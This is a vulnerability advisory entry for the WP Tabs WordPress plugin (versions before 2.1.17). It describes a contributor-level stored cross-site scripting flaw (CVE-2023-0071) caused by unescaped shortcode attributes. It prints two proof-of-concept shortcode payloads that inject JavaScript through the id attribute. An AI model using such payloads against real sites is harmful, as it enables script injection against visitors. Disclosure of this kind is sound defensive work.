Lucene search
Lana CodesWPEX-ID:3834A162-2CDC-41E9-9C9D-2B576EED4DB9HistoryJan 06, 2023 - 12:00 a.m.
WP Tabs < 2.1.17 - Contributor+ Stored XSS
2023-01-0600:00:00
Lana Codes
68
wordpress tabs
stored xss
security exploit
EPSS
0.001
Percentile
25.5%
The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.
[tr_tabs id='"); alert(1); ("']
[tr_tabs id='" onmouseover="alert(1)" style="background:red;width:100px;height:100px;"']
Related
cvelist
cvelist
CVE-2023-0071 WP Tabs < 2.1.17 - Contributor+ Stored XSS
2023-01-30 20:31:33
nvd
nvd
CVE-2023-0071
2023-01-30 21:15:13
wpvulndb
wpvulndb
WP Tabs < 2.1.17 - Contributor+ Stored XSS
2023-01-06 00:00:00
cve
cve
CVE-2023-0071
2023-01-30 21:15:13
prion
prion
Cross site scripting
2023-01-30 21:15:00